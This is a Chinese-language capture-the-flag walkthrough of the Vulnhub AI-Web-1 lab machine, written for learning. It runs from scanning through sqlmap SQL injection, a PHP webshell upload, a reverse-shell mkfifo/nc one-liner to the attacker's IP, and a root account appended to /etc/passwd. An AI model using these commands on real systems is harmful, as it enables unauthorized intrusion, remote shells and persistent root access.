Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这是一个Web的漏洞靶机,老样子需要找到flag即可。
Vulnhub靶机下载:
官网地址:https://www.vulnhub.com/entry/ai-web-1,353/
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :192.168.0.103 靶机IP :192.168.0.104
使用命令:
nmap -sS -sV -A -n 192.168.0.104
开启了80
端口 先访问一下看看 “他说谷歌都搜不到它”直接上工具扫一下后台:dirb http://192.168.0.104
发现了网络爬虫协议 robots
访问一下 发现了两个目录/m3diNf0/
和/se3reTdir777/uploads/
依次进行访问。
访问第一个路径是403
页面没有权限 接着访问第二个路径也没有权限,接着使用命令再次扫描 dirb http://192.168.0.104/m3diNf0/
发现了网站的绝对路径,使用刚刚的dirb
在扫一下另一个路径/se3reTdir777/uploads/
发现了一个index.php
②:SQL注入:
访问好像存在sql
注入 手动测试一下也可以使用sqlmap
先看一下字段1' order by 4#
有回显说明存在sql 注入漏洞。
我比较懒 喜欢用sqlmap
先使用bp
抓个包看看注入的地址:uid=1&Operation=Submit
sqlmap -u "http://192.168.0.104/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs #列出库
sqlmap -u "http://192.168.0.104/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables #列出表
sqlmap -u "http://192.168.0.104/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns #列出字段
sqlmap -u "http://192.168.0.104/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell #
选择php(default)
,custom location(s)
然后输入刚刚获取到的路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
获取到shell
但是权限比较低是www-data
③:文件上传:
现在需要写一句话木马 通过sqlmap
传入服务器的路径下 先新建一个名称为hack.php
sqlmap -u "http://192.168.0.104/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
--file-write:去读取文件(hack.php)
--file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)
接着访问http://192.168.0.104/se3reTdir777/uploads/hack.php
如果是空白的说明上传的木马成功了!! 直接上WebSell
工具 蚁剑连接
④:反弹shell:
**1. 现在kali
上面监听一下端口使用命令: nc -lvvp 6666
nc -e /bin/bash 192.168.0.103 6666
(发现-e参数不可用)- 使用命令:
rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666 >/tmp/f
(回弹了shell) - 使用命令:
python -c "import pty;pty.spawn('/bin/bash')"
(python写交互)**
⑤:提权:
先使用命令:find / -user root -perm -4000 -print 2>/dev/null
看一下哪些可以执行root
权限
在看一下内核版本把 使用命令:uname -a
当前版本号是4.15.0-58-generic
searchsploit linux kernel 4.15.0-58-generic
搜一下相关的内核漏洞发现没有可以利用的 文件,既然不行就换一种思路。
发现和DC-9
的提权方法一样可以使用添加一个root
账号进行登入 提权 可以参考下面链接:
使用命令:openssl passwd -1 -salt hacker 123456
创建一个admin的账号
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
⑥:获取flag:
至此获取到了flag,渗透测试结束。
Vulnhub靶机渗透总结:
**这里的新知识点就是sql--os--shell
(第一次使用这个)
还有就是/etc/passwd
的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
("x"
表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow
文件中
允许登入的shell
就是/bin/bash
禁止shell登入就是/sbin/nologin
)**
这次是一个Web靶机的学习,希望大家也可以学习到新的一些知识点和一些渗透测试思路 最后创作不易 希望对大家有所帮助!!